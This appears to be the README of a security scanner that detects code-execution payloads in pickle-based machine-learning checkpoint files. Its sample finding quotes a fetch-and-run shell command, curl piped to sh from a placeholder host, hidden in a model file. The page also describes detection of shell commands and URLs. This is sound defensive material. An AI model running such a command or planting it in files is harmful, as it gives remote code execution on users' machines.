Hayward

Security scanner for machine-learning model files. Know whether a checkpoint will run code on your machine, before you load it.

pip install hayward
hayward scan ./models

CRITICAL MFV-PICKLE-001  checkpoints/model.pt
         Pickle file references unsafe callable(s) that grant code/command
         execution on load: posix.system('curl http://example.invalid | sh').

1 finding(s): 1 critical

Or try it in your browser. Same scanner, compiled to WebAssembly. Drop a checkpoint on the page and it stays on your machine.

Guard the load itself

A scan checks a file before you load it. The guard checks it while you do:

import hayward.guard  # pickle.load, joblib.load, numpy.load and torch.load now refuse dangerous calls

Each load is scanned first, then every function the file asks for is checked before it runs. The default mode raises the bar but is not a sandbox. For files you do not trust, hayward.guard.install(strict=True) refuses anything not on the known-safe list. The usage guide lists what it does not cover.

Let your coding agent check first

pip install "hayward[mcp]"
claude mcp add hayward -- hayward mcp

The problem

torch.load, joblib.load and numpy.load(allow_pickle=True) execute code from the file they read. That is not a bug, it is what pickle does.

The file is named pytorch_model.bin, and the .bin is doing a lot of work in that sentence. It is a program. Loading it is running it, on your laptop, with your credentials, as you.

Who it is for

Teams that pull checkpoints from public hubs and want the check to run in a CI pipeline, on a laptop, or inside a regulated environment where nothing is allowed to leave the network.

What makes it different

It stays quiet. A gate that cries wolf gets switched off, so it is built to report real models cleanly and reserve the INFO tier for content it could not verify. Any figures we quote are self-measured and not independently reproducible; Accuracy sets out what it does and does not support, and the harness runs it against your own corpus.

It tells you when it could not look. A container it could not fully walk, or content it could not verify, gets an explicit coverage finding rather than a clean verdict, and a parse error never erases what was already found. Attackers hide payloads behind deliberate parse errors, so a payload followed by junk still scans as critical. One honest limit: bytes that match no model format at all, from the first byte, report nothing.

It catches gadgets nobody has listed. Unknown callables are judged by the arguments they were handed, not by their name. A URL, a shell command, a host and port. That is what generalises past the deny list.

It installs anywhere. One dependency, no model framework, no native extensions, no network. Python 3.10 and up.

It fits a build. Documented exit codes, JSON output, a threshold you set.

What it scans

... View full README on GitHub